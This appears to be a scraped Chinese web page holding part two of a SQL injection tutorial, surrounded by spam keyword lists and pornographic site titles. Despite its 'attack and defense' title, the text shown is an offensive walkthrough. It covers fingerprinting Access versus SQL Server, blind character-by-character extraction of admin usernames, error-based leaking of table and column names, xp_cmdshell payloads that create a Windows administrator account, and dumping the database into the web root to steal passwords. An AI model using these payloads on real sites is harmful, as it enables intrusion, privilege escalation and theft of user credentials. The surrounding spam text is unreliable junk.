<em id="0a85b"><option id="0a85b"></option></em>

<abbr id="0a85b"></abbr>

      <nobr id="0a85b"></nobr>
        <tr id="0a85b"></tr>
        9久久伊人精品综合,亚洲一区精品视频在线,成 人免费va视频,国产一区二区三区黄网,99国产精品永久免费视频,亚洲毛片多多影院,精品久久久无码人妻中文字幕,无码国产欧美一区二区三区不卡
        學習啦>學習電腦>電腦安全>網絡安全知識>

        SQL注入漏洞的攻防策略(2)

        時間: 若木632 分享

          在確認可以注入的情況下,使用下面的語句:

          http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

          http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

          如果數據庫是SQLServer,那么第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?

          id= 49是大致相同的;而第二個網址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,

          頁面也與原頁面完全不同。

          如果數據庫用的是Access,那么情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址

          ,則視乎數據庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情

          況下,用第一個網址就可以得知系統所用的數據庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

          進階篇

          在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來

          ,我們就繼續學習如何從數據庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

          第一節、SQL注入的一般步驟

          首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。

          其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

          (A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:

          Select * from 表名 where 字段=49

          注入的參數為ID=49 And [查詢條件],即是生成語句:

          Select * from 表名 where 字段=49 And [查詢條件]

          (B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下:

          Select * from 表名 where 字段=’連續劇’

          注入的參數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:

          Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’

          © 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:

          Select * from 表名 where 字段like ’%關鍵字%’

          注入的參數為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:

          Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

          接著,將查詢條件替換成SQL語句,猜解表名,例如:

          ID=49 And (Select Count(*) from Admin)>=0

          如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法

          )。如此循環,直至猜到表名為止。

          表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

          有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很

          對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為

          別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

          有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在

          高級篇中會做介紹。

          最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Asc

          ii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

          我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:

          http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

          先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一

          直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

          當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后

          ,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

          id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

          同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之

          間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

          第二節、SQL注入常用函數

          有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL

          水平,特別是一些常用的函數及命令。

          Access:asc(字符) SQLServer:unicode(字符)

          作用:返回某字符的ASCII碼

          Access:chr(數字) SQLServer:nchar(數字)

          作用:與asc相反,根據ASCII碼返回字符

          Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

          作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串

          Access:abc(數字) SQLServer:abc (數字)

          作用:返回數字的絕對值(在猜解漢字的時候會用到)

          Access:A between B And C SQLServer:A between B And C

          作用:判斷A是否界于B與C之間

          第三節、中文處理方法

          在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼

          有所了解,“中文恐懼癥”很快可以克服。

          先說一點常識:

          Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。

          SQL Server中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼

          ,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字符。

          了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范

          圍大一點外,方法是沒什么兩樣的。

          高級篇

          看完入門篇和進階篇后,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程

          序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

          第一節、利用系統表注入SQLServer數據庫

          SQL Server是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方

          便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

          ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

          分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServe

          r中將被分成兩句執行,先是Select出ID=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調

          用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

          ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name

          administrators /add”--

          將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用

          于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。

          ③ http://Site/url.asp?id=1 ;and db_name()>0

          前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是

          連接的數據庫名。

          ④ http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:/inetpub/wwwroot/1.db’

          ;--

          這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web

          目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知

          道絕對路徑的時候,還可以備份到網絡地址的方法(如//202.96.xx.xx/Share /1.db),但成功率不高。

          ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’

          and status>0)>0

          前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=

          ’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息

          把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

          ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from

          sysobjects)>0

          從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的

          第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

          以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接

          影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發方面的水平也得到很大的提高,呵呵

          ,也許安全與開發本來就是相輔相成的吧。

        75367 主站蜘蛛池模板: 日韩有码中文字幕av| 女人腿张开让男人桶爽| 亚洲国模精品一区二区| 国产精品会所一区二区三区| 色噜噜噜亚洲男人的天堂| 国产成人精品无人区一区| 亚洲an日韩专区在线| 成人自拍短视频午夜福利| 亚洲伊人久久综合精品| 国产伦精区二区三区视频| 乱人伦中文字幕成人网站在线| 免费无码又爽又黄又刺激网站| 极品人妻少妇一区二区三区| 99久久亚洲综合精品成人网| 久久精品女人天堂aaa| 国产蜜臀一区二区三区四区| 人妻丰满熟妇AV无码区乱| 午夜亚洲AV成人无码国产| 中文字幕乱码十国产乱码| 国产精品 自在自线| 女人被狂躁的高潮免费视频| 亚洲午夜久久久影院伊人| 国内自拍网红在线综合一区| 久久综合狠狠综合久久| 国内精品自线在拍| 九九九国产| 亚洲国产成人av在线观看| 一区二区三区久久精品国产| 人妻中文字幕亚洲一区| 久久精品一区二区东京热| 婷婷久久香蕉五月综合加勒比| 午夜DY888国产精品影院| 毛片无遮挡高清免费| 92国产福利午夜757小视频| 欧美一区二区三区久久综合| 在线观看无码一区二区台湾 | 中文字幕人妻色偷偷久久| 妺妺窝人体色www看美女| 国精品午夜福利视频不卡| 日韩精品无码一区二区三区| 亚洲中文字幕有综合久久|